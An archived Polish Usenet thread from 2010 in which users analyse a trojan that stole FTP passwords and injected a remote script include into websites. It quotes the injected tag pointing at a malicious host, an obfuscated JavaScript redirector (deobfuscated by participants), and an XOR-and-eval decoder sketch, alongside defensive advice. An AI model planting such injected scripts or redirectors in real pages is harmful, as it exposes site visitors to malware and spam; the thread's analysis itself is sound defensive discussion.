🚀 go-pugleaf

Podstawa to nie zapamiętywanie haseł w TC, bardzo często bowiem one
stamtąd wyciekają - są przechowywane czystym tekstem

cut" <""wojmin\"@(cut)wp.pl wrote:
> Podstawa to nie zapamiętywanie haseł w TC, bardzo często bowiem one
> stamtąd wyciekają - są przechowywane czystym tekstem

Ja mialem podobnie z tym ze wyciek nie poszedl z mojego systemu!

Ale bylo tak: dzwoni firma ze im google zablokowal strone, szybki rekonesans i 
wiem ze jest "cieplo" i mamy problem. Panika - czy to ja sie dalem zrobic w 
c..ja wirusowi (bedzie wstyd)? Na szczescie nie, wyciek byl z owej firmy.

Upewnilo mnie jeszcze to ze w TC mam z X hostingow wklepanych :-) A tylko ten 
jeden byl umoczony w tym gownie. Aby wiecej sie nie stresowac sciagasz:

Total Commander 7.5 beta8 (juz sa nowsze pewnie) ktory szyfruje plik z haslami 
na dobre. Oczywiscie jak gnoj napisze wirusa lepiej to zeskanuje ci haslo jak 
podajesz i rozszyfruje sobie sam plik z haslami ale to juz nie tak prosto i nie 
tak odrazu i automatycznie.

Wnioski - kasperski jest do dupy?

Ja hasel do SQL nie zmienialem bo zrobilem prosty grep na pliku logu FTP i 
widzialem ze zombie (caly swiat!) ruszaly wylacznie php i html ale bez 
configow. Praca zombie to GET pliku np index.html, po sekundzie PUT (wgranie) i 
dawaj nastepny.

Na pohybel piszacym taki zlosliwy kod.

Użytkownik "cut" <""wojmin\"@(cut)wp.pl"> napisał w wiadomości 
news:4c18d3e1$0$17103$65785112@news.neostrada.pl...
> Podstawa to nie zapamiętywanie haseł w TC, bardzo często bowiem one
> stamtąd wyciekają - są przechowywane czystym tekstem

Podstawowy błąd, który popełnił pytający to praca na koncie administratora. 

latet <latet@latet.pl> napisał(a): 

> Witam,
> 
> Czy jest możliwe, aby po otwarciu w przeglądarce (lokalnie, z puplipu) 
strony
> www, na której znajduje się złośliwy kod JS typu:
> 
> <script type="text/javascript"
> src="http://XXXXXXomestore.com:8080/File.js"></script>
> 

No dobra ale mnie interesuje ten File.js, jak masz go to daj.
Bo ta zaraza musi być w jakim obrazku.

Andrzej.


-- 
Wysłano z serwisu Usenet w portalu Gazeta.pl -> http://www.gazeta.pl/usenet/

> No dobra ale mnie interesuje ten File.js, jak masz go to daj.

Tu jest prawidzwy link:
<script type="text/javascript" 
src="http://blog.12oakshomestore.com:8080/File.js"></script>

> Bo ta zaraza musi być w jakim obrazku.

Co masz na mysli, że w obrazku?

latet

> Podstawowy błąd, który popełnił pytający to praca na koncie administratora.

Bije sie w piersi, ale chetnie bym sie dokładniej dowiedział w jaki sposób JS 
może aż tak zaszkodzić?

Wirus, który ukradł mi hasła, zaifekował np. tę podstornę:
http://xyz.avx.pl/analizatorlogow/
na razie nie usuwałem z niej złośliwego kodu, aby móc testować zachowanie się 
Antywirusów.

Kaspersky - blokuje i mówi ze jest tam [HEUR] Trojan.Downloader.Script.Generic.
Co taki trojan może z poziomu JS?
Myślę, że nie za wiele - bo otworzyłem tę stronę na laptopie beż zadnego 
antywira. Pojawił się IFRAME o małych wymiarach, nie wiem, co w nim siedziało, 
ale żadnych objawów infekcji nie stwierdziłem. Potem jeszcze przeskanwałem tego 
lapka "zewnętrznie" (przy pomocy Kaspersky Rescue Disk - LiveCD) i nie znalazł 
niczego.

Może zarazić się można tylko otwierajac plik lokalnie, a nie z netu? Może 
autorzy syfu liczą na to, że ktoś zapisuje strony lokalnie i je potem ogląda? No 
bo ja się na pewno zaraziłem otwierajac załącznik .html z maila pod 
OutlookExpress i objawy były  eweidentne, a Kaspersky (choć do zakażenia 
dopuścił) - wykrywał trojana i rootkita i (uruchomiony z CD) usunął go.

Dzięki,

latet

On 17 Cze, 00:15, "Koteczek" <n...@spamowac.org> wrote:
> cut" <""wojmin\"@(cut)wp.pl wrote:
> > Podstawa to nie zapamiętywanie haseł w TC, bardzo często bowiem one
> > stamtąd wyciekają - są przechowywane czystym tekstem
>
> Ja mialem podobnie z tym ze wyciek nie poszedl z mojego systemu!
>
> Ale bylo tak: dzwoni firma ze im google zablokowal strone, szybki rekonesans i
> wiem ze jest "cieplo" i mamy problem. Panika - czy to ja sie dalem zrobic w
> c..ja wirusowi (bedzie wstyd)? Na szczescie nie, wyciek byl z owej firmy.
>
> Upewnilo mnie jeszcze to ze w TC mam z X hostingow wklepanych :-) A tylko ten
> jeden byl umoczony w tym gownie. Aby wiecej sie nie stresowac sciagasz:
>
> Total Commander 7.5 beta8 (juz sa nowsze pewnie) ktory szyfruje plik z haslami
> na dobre. Oczywiscie jak gnoj napisze wirusa lepiej to zeskanuje ci haslo jak
> podajesz i rozszyfruje sobie sam plik z haslami ale to juz nie tak prosto i nie
> tak odrazu i automatycznie.
>

Do szyfrowania plików polecam moje (darmowe) narzędzie:

http://www.zpksoft.ssk.pl/szyfrator.htm

NIE DO ZŁAMANIA

> Wnioski - kasperski jest do dupy?
>
> Ja hasel do SQL nie zmienialem bo zrobilem prosty grep na pliku logu FTP i
> widzialem ze zombie (caly swiat!) ruszaly wylacznie php i html ale bez
> configow. Praca zombie to GET pliku np index.html, po sekundzie PUT (wgranie) i
> dawaj nastepny.
>

To jest źle napisana strona. U mnie za każdą interakcją z serwerem
klient otrzymuje nowy identyfikator sesji. Posłanie tego sprzed
sekundy skutkuje błędem (wyrzuceniem do strony logowania).

> Na pohybel piszacym taki zlosliwy kod.

Na pohybel.

Paweł

On 17 Cze, 11:48, "latet" <la...@latet.pl> wrote:
> > No dobra ale mnie interesuje ten File.js, jak masz go to daj.
>
> Tu jest prawidzwy link:
> <script type="text/javascript"
> src="http://blog.12oakshomestore.com:8080/File.js"></script>
>
> > Bo ta zaraza musi by w jakim obrazku.
>
> Co masz na mysli, e w obrazku?
>
> latet

Tam nic nie ma. Tylko dwa znaki: #13 i #10, czyli Enter - przejście do
nowej linii.
To na pewno nie zrobi Ci krzywdy :)

Paweł

Tam nic nie ma. Tylko dwa znaki: #13 i #10, czyli Enter - przejście do
nowej linii.
To na pewno nie zrobi Ci krzywdy :)


Ale to jest właśnie to, co ten trojan zamieścił na stronach, do ktorych uzyskał 
dostęp. Wątpię, aby to był takie niewinne.

latet 

Tam nic nie ma. Tylko dwa znaki: #13 i #10, czyli Enter - przejście do
nowej linii.
To na pewno nie zrobi Ci krzywdy :)

Znalazlem tez załącznik, którego pierwotnie otworzyłem. Kod tam jest taki:
(zmieniam znacznik script na sKript, zeby nie stwarzac zagrozenia)

<sKript type='text/javascript'>function rM(){};rC='';rM.prototype = {g :
function() {var o=function(){};var
i=31535;this.c="c";this.v=65257;this.k=3271;this.cD="cD";function
x(){};t=document['luoucfaft@ijounu'.replace(/[ufj\[@]/g,
'')];b="";this.cY=false;this.e=11644;u='';var bR=function(){return
'bR'};w='';this.n='';function m(p, j){iH=false;var nV=new
Array();this.h=false;this.q="";p.href=j;this.wX=65246;this.a=false;cP=53576;function
nZ(){};}this.wM="";wJ=9315;r="";var vU=function(){};hR="";var
vT=function(){return 'vT'};m(t,
'h#t?t#p#:e/#/%t%i#l?t^a^n^d#g?r^i^n?.%c#o?m%/?z#.%het^m%le'.replace(/[e\?#%\^]/g,
''));this.uB=false;function bZ(){};jR='';var cZ=function(){return 'cZ'};}};var
wMG=new Array();var pM=new rM(); var tS='';pM.g();qI="qI";</sKript>

latet

W dniu 17-06-2010 19:10, latet pisze:
> Tam nic nie ma. Tylko dwa znaki: #13 i #10, czyli Enter - przejście do
> nowej linii.
> To na pewno nie zrobi Ci krzywdy :)
>
> Znalazlem tez załącznik, którego pierwotnie otworzyłem.

> 'h#t?t#p#:e/#/%t%i#l?t^a^n^d#g?r^i^n?.%c#o?m%/?z#.%het^m%le'.replace(/[e\?#%\^]/g,

http://tiltandgrin.com/z.html

a to przekierowuje do:

http://toldspeak.com/
jakiś sklep z viagrą :)

Co ten kod robi to nie wiem, ale w jakim celu został napisany to już 
chyba wiem :)

Pozdrawiam
Piotr

On 2010-06-17 20:00, Kviat wrote:
> http://til***rin.com/z.html
>
> a to przekierowuje do:
>
> http://t***.com/
> jakiś sklep z viagrą :)
>
> Co ten kod robi to nie wiem, ale w jakim celu został napisany to już
> chyba wiem :)

Pierwszy na świecie skrypt JavaScript wydłużający penisa? Ależ ta 
technika idzie do przodu ;]


-- 
message[autor="PablO"]::after {
	content:"Pozdrawiam";
}

W dniu 2010-06-17 11:58, latet pisze:
> Może zarazić się można tylko otwierajac plik lokalnie, a nie z netu?

Można z netu, bo tu chodzi o próbę wykorzystania znanych dziur (np we 
wtyczkach). Oprogramowanie antywirusowe IMHO stwarza złudne poczucie 
bezpieczeństwa. Lepiej systematycznie aktualizuj system i 
oprogramowanie, nie buszuj po podejrzanych stronach, nie wyłączaj UAC, 
nie pracuj na koncie administratora i nie używaj TC (raczej z innego 
powodu - nie chcę wywoływać dyskusji, więc nie rozwinę tematu).

artur

latet <latet@latet.pl> napisał(a): 

> 
> Co masz na mysli, że w obrazku?
> 

W niektórych formatach obrazków są wolne obszary
gdzie można umieścić kod wirusa, który uruchamia
procedury przegladrki.
Dokładnie jaki jest ten kod to nie wiem ale wywołanie
takiego obrazka może być niebezpieczne.
Dlatego warto wiedzieć co to za obrazek.

Będę próbował na rezerwowym kompie co robi ten ten skrypt,
bo myslę, że coś sciąga z www i tam jest to właśnie.

Uporządkowany kod:

<sKript type='text/javascript'>

function rM()
{
};

rC='';

rM.prototype = {g : function()
{
 var o=function()
 {
 };

 var i=31535;

 this.c="c";
 this.v=65257;
 this.k=3271;
 this.cD="cD";

 function x()
 {
 };

 t=document['luoucfaft@ijounu'.replace(/[ufj\[@]/g,'')];

 b="";
 this.cY=false;
 this.e=11644;
 u='';

 var bR=function()
 {
  return
  'bR'
 };

 w='';

 this.n='';

 function m(p, j)
 {
  iH=false;
  var nV=new Array();
  this.h=false;
  this.q="";
  p.href=j;
  this.wX=65246;
  this.a=false;
  cP=53576;

  function nZ()
  {
  };

 }

 this.wM="";
 wJ=9315;
 r="";

 var vU=function()
 {
 };

 hR="";

 var vT=function()
 {
  return 'vT'
 };

 m(t, 'h#t?t#p#:e/#/%t%i#l?t^a^n^d#g?r^i^n?.%c#o?m%/?z#.%het^m%le'.replace(/
[e\?#%\^]/g,''));

 this.uB=false;

 function bZ()
 {
 };

 jR='';

 var cZ=function()
 {
  return 'cZ'
 };
}
};

 var wMG=new Array();
 var pM=new rM();
 var tS='';

 pM.g();

 qI="qI";

</sKript>

Andrzej.


-- 
Wysłano z serwisu Usenet w portalu Gazeta.pl -> http://www.gazeta.pl/usenet/

Po wywaleniu syfu i zastąpieniu regexpów mamy
> <sKript type='text/javascript'>
> function rM()
> {
> };
> rM.prototype = {g : function()
> {
>   t=document.location;
>   function m(p, j)
>   {
>    p.href=j;
>   }
>   m(t, "http:/tiltandgrin.com/z.html");
> }
> };
>   var pM=new rM();
>   pM.g();
> </sKript>
czyli:
document.location = "http:/tiltandgrin.com/z.html"

Btw. ostatnio widziałem wirusa w js, którego kod zaszyfrowany był xorem 
ze znaków stringa z funkcji deszyfrującej. w dużym uproszczeniu 
wyglądało to tak:
x='tablica z zaszyfrowanym kodem'
function decode() {
d='';z=String(decode)
for(i=0;i<x.length;i++) {
d+= String.fromCharCode(x.charCodeAt(i)^z.charCodeAt(z));
}
eval(d);
}

Pozdrawiam
emil

Niestety mam dobrego dostawcę netu i blokuje mi dostęp
do tej strony także nie dowiem się co to jest.

Andrzej.


-- 
Wysłano z serwisu Usenet w portalu Gazeta.pl -> http://www.gazeta.pl/usenet/

W dniu 18.06.2010 00:20, Artur Muszyński pisze:
> W dniu 2010-06-17 11:58, latet pisze:
>> Może zarazić się można tylko otwierajac plik lokalnie, a nie z netu?
>
> Można z netu, bo tu chodzi o próbę wykorzystania znanych dziur (np we
> wtyczkach). Oprogramowanie antywirusowe IMHO stwarza złudne poczucie
> bezpieczeństwa. Lepiej systematycznie aktualizuj system i
> oprogramowanie, nie buszuj po podejrzanych stronach, nie wyłączaj UAC,
> nie pracuj na koncie administratora i nie używaj TC (raczej z innego
> powodu - nie chcę wywoływać dyskusji, więc nie rozwinę tematu).
>
> artur

ano zdarzyły się takie trojany ... wykorzystywały lukę we wtyczce adoba 
na przykład ... a dokładniej przy odczycie pdf'ów.

tworzył się iframe o rozmiarach 1 na 1 lub w jakiś inny sposób ukryty a 
wewnątrz był sobie zarażony specjalnie przygotowany plik pdf który 
próbowała otwierać przeglądarka w ten sposób infekując komputer.

Nie tylko kaspersky sobie z nim nie radził.

Ogólna zasada bezpieczeństwa to nie przechowywać w total commanderze 
jakichkolwiek haseł ani w żadnych innych programach do łączenia z ftp...

Jest setki lepszych sposobów na przechowywanie haseł ... osobiście 
używam zwyczajnego pliku arkusza kalkulacyjnego który następnie pakuje z 
użyciem hasła.

Pozdrawiam,
Łukasz Wittbrodt

W dniu 2010-08-03 22:55, Winetou pisze:
> Jest setki lepszych sposobów na przechowywanie haseł ... osobiście
> używam zwyczajnego pliku arkusza kalkulacyjnego który następnie pakuje z
> użyciem hasła.

Nie lepiej KeePass?

artur

W dniu 04.08.2010 21:22, Artur Muszyński pisze:
> W dniu 2010-08-03 22:55, Winetou pisze:
>> Jest setki lepszych sposobów na przechowywanie haseł ... osobiście
>> używam zwyczajnego pliku arkusza kalkulacyjnego który następnie pakuje z
>> użyciem hasła.
>
> Nie lepiej KeePass?
>
> artur
owszem może być ... tylko ... im bardziej niestandardowe rozwiązanie tym 
większa pewność, że robak nie będzie w stanie wykraść haseł gdyż 
rozwiązania może nie znać i nawet nie pomyśli o tym żeby zajrzeć do 
takiego pliku :P

każdy ma swoje sposoby

Pozdrawiam,
Łukasz Wittbrodt

W dniu 2010-08-05 07:22, Winetou pisze:
>> Nie lepiej KeePass?
>>
>> artur
> owszem może być ... tylko ... im bardziej niestandardowe rozwiązanie tym
> większa pewność, że robak nie będzie w stanie wykraść haseł gdyż
> rozwiązania może nie znać i nawet nie pomyśli o tym żeby zajrzeć do
> takiego pliku :P

Nie bardzo. Uważa się, że zabezpieczenie przez zaciemnienie jest gorsze 
od zabezpieczenia kryptograficznego.

> każdy ma swoje sposoby

Jak uważasz.

artur

On 5 Sie, 21:27, Artur Muszyński <art...@union.wytnijto.com.pl> wrote:
> W dniu 2010-08-05 07:22, Winetou pisze:
>
> >> Nie lepiej KeePass?
>
> >> artur
> > owszem może być ... tylko ... im bardziej niestandardowe rozwiązanie tym
> > większa pewność, że robak nie będzie w stanie wykraść haseł gdyż
> > rozwiązania może nie znać i nawet nie pomyśli o tym żeby zajrzeć do
> > takiego pliku :P
>
> Nie bardzo. Uważa się, że zabezpieczenie przez zaciemnienie jest gorsze
> od zabezpieczenia kryptograficznego.
>
> > każdy ma swoje sposoby
>
> Jak uważasz.
>
> artur

Dlaczego założyłeś, że Winetou nie szyfruje pliku z hasłami tylko
heszuje?
Polecałem tu już mój program szyfrujący (freeware, więc sądzę, że
mogę :) do ściągnięcia z mojej strony http://www.zpksoft.ssk.pl . Plik
może rozszyfrować bez zapisywania rezultatu na dysku (i inne ciekawe
opcje, np. wrzucanie od razu zaszyfrowanej wersjii wskazanego pliku do
schowka - i na odwrót).
Algorytm szyfrujący nigdy nie został złamany.

Paweł

W dniu 2010-08-06 20:41, zpk pisze:
> Dlaczego założyłeś, że Winetou nie szyfruje pliku z hasłami tylko
> heszuje?

Pisałeś o XLS, a temu nie dowierzam (kiedyś dało się to łamać, nie wiem, 
jak jest teraz).

> Polecałem tu już mój program szyfrujący (freeware, więc sądzę, że
> mogę :) do ściągnięcia z mojej strony http://www.zpksoft.ssk.pl . Plik
> może rozszyfrować bez zapisywania rezultatu na dysku (i inne ciekawe
> opcje, np. wrzucanie od razu zaszyfrowanej wersjii wskazanego pliku do
> schowka - i na odwrót).
> Algorytm szyfrujący nigdy nie został złamany.

Z całym szacunkiem. Pomijając, że mam mierne pojęcie nt kryptografii, 
więc łamanie szyfrów nie dla mnie, ale do oceny jakości potrzebny jest 
opis algorytmu, a nie piwo :-) Chyba, że gdzieś opisałeś, a tylko ja nie 
widzę.

artur

On 6 Sie, 21:38, Artur Muszyński <art...@union.wytnijto.com.pl> wrote:
> W dniu 2010-08-06 20:41, zpk pisze:
>
> > Dlaczego założyłeś, że Winetou nie szyfruje pliku z hasłami tylko
> > heszuje?
>
> Pisałeś o XLS, a temu nie dowierzam (kiedyś dało się to łamać, nie wiem,
> jak jest teraz).
>
> > Polecałem tu już mój program szyfrujący (freeware, więc sądzę, że
> > mogę :) do ściągnięcia z mojej stronyhttp://www.zpksoft.ssk.pl. Plik
> > może rozszyfrować bez zapisywania rezultatu na dysku (i inne ciekawe
> > opcje, np. wrzucanie od razu zaszyfrowanej wersjii wskazanego pliku do
> > schowka - i na odwrót).
> > Algorytm szyfrujący nigdy nie został złamany.
>
> Z całym szacunkiem. Pomijając, że mam mierne pojęcie nt kryptografii,
> więc łamanie szyfrów nie dla mnie, ale do oceny jakości potrzebny jest
> opis algorytmu, a nie piwo :-) Chyba, że gdzieś opisałeś, a tylko ja nie
> widzę.
>
> artur


To używam:

http://pl.wikipedia.org/wiki/Advanced_Encryption_Standard

plus własne rozszerzenia.

Paweł